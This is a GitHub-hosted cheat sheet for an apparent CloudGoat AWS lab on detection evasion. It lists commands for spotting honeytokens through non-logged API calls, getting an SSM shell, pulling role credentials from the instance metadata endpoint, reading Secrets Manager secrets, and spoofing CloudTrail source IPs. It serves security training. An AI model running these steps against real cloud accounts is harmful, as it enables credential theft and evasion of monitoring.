Skip to content

Latest commit

 

History

History
132 lines (95 loc) · 7.14 KB

cheat_sheet.md

File metadata and controls

132 lines (95 loc) · 7.14 KB
Raw

Easy Path

  1. Iterate through the starting credentials to identify the honeytokens. There are a few ways to do this. Pacu has a module for this process, but we reccomend doing it manually in order to understand the process here.

    # There are services which do not log to CloudTrail. Honeytokens almost never grant permissions to ANY services, let alone these services which do not log to CloudTrail. Thus ,the call below will fail for a honeytoken, but will reveal the ARN of the principal associated with the credentials. This information is usually sufficient to infer if the principal is only being used for honeytokens.
aws --profile cg1 --region us-east-1 sdb list-domains
# The above command reveals that user1 is "user/canarytokens.com@@kz9r8ouqnhve4zs1yi4bzspzz". These tokens are generated by a third party honeytoken service "canarytokens.com" (as you may have guessed). 

aws --profile cg2 --region us-east-1 sdb list-domains
# The above command reveals that user2 is "user/SpaceCrab/l_salander". This indicates that the honeytoken was generated by SpaceCrab (a tool which appears to now be outdated).

aws --profile cg3 --region us-east-1 sdb list-domains
# The above command reveals that user3 is "user/cd1fceca-e751-4c1b-83e4-78d309063830". Although not nearly as suspicious as the first two users, this UUID format indicated that the user is being automatically generated. This UUID format is also used by the SpaceSiren honeytoken tool.   

aws --profile cg4 --region us-east-1 sdb list-domains
# The above command reveals that user4 has permissions to the sdb service, and is therefore likely a legitimate user.

  2. Now that you have identified which pair of credentials are honeytokens and which are likely legitimate, you can perform some enumeration to determine who you are, what group you are a part of, what permissions are assigned to that group, what EC2 instances exist, and which one to target in the next step.

    # The command below will reveal the ARN of your current principal. 
aws --profile cg4 sts get-caller-identity

# The command below will list the groups to which your user belongs.
aws --profile cg4 iam list-groups-for-user --user-name r_waterhouse

# The command below will list the policies attached to your group.
aws --profile cg4 iam list-group-policies --group-name cg-developers

# The command below will list out the developer policy in detail. You will see a statement focusing on SSM which includes "ssm:StartSession". This will be used later to get a shell on an EC2 instance.
aws --profile cg4 iam get-group-policy --group-name cg-developers --policy-name developer_policy

# The command below will reveal that the AWS managed policy "ReadOnlyAccess" is attached to the cg-developers group.
aws --profile cg4 iam list-attached-group-policies --group-name cg-developers

# The command below will list all EC2 instances, revealing the instance that we will target in this section "easy_path-cg-detection-evasion"
aws --profile cg4 --region us-east-1 ec2 describe-instances

  3. Use SSM to get a shell on the "easy_path" instance.

For this to work you'll first need to ensure you have the ssm plugin installed. If it is not installed you may receive a permission error about terminating sessions.

```bash
# The command below will result in a shell on the EC2 instance of your choice. 
aws --profile cg4 --region us-east-1  ssm start-session --target [INSTANCE_ID]
```

  1. Determine if there is a role associated with this EC2 instance.

    # The command below will reach out to the IMDS endpoint, and will return the name of an instance profile.
curl http://169.254.169.254/latest/meta-data/iam/security-credentials

# The command below will reach out to the IMDS endpoint, and will return credentials for the role associated with this instance.
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/[INSTANCE_PROFILE]

  2. Install the AWS CLI, list all secrets, and read the contents of the associated secrets. This step is another opportunity to trigger alerts. If you use the credentials associated with this instance from an unknown IP, an alert will be triggered. This is why we install the CLI on the EC2 instance and take actions from there.

    # The command below will confirm that the AWS CLI is not installed.
aws --version

# The command below will install the AWS CLI.
sudo yum install awscli -y

# The command below will confirm that the AWS CLI is installed.
aws --version

# The command below will list all secrets in secrets manager. 
aws --region us-east-1  secretsmanager list-secrets

# The command below will read out the value for the secret associated with this path. 
aws --region us-east-1  secretsmanager get-secret-value --secret-id [SECRET_ARN]

Hard Path

Steps 1-4 are almost identical for the "hard path" of this scenario. The only difference is, on step 3, you will target the "hard_path-cg-detection-evasion" instance. In this light, we will start the steps for the "hard path" on step 5, after you have retrieved the credentials from IMDS.

  1. Check if the AWS CLI is installed. Realize you have no internet access. Unlike the "easy path", you cannot take actions with the CLI from this instance. Yet, like the "easy path", any event logged in CloudTrail, using credentials from this instance and from an IP other than that of this EC2 instance, will trigger alerts.

    # The command below will confirm that the AWS CLI is installed. However, attempts to use it will fail. This is because the instance has no access to the public internet. 
aws --version

# You can run any aws command from this instance to confirm that it will not work.
aws sts get-caller-identity

  2. There is a way to spoof arbitrary IP addresses in CloudTrail, and you can read about it in this blog post. Instead of walking through this entire technique in duplicate here, we have created a public github repo with terraform code that will deploy the necessary resources to perform the bypass.

    # Clone the repo that contains the solution.
git clone https://github.com/RhinoSecurityLabs/cloud_goat_detection_evasion_hard_path_solution.git

# Move into the repo
cd cloud_goat_detection_evasion_hard_path_solution

# Follow the README.md in this folder
cat README.md

  3. Once you have deployed the terraform resources mentioned above, you should have a shell on the ec2 instance that was created. Run the following on that instance.

    # The command below will list all secrets in secretsmanager.
aws --region us-east-1 secretsmanager list-secrets

# The command below will
aws --region us-east-1 secretsmanager get-secret-value --secret-id [ARN_OF_TARGET_SECRET]

At this point you have finished the scenario.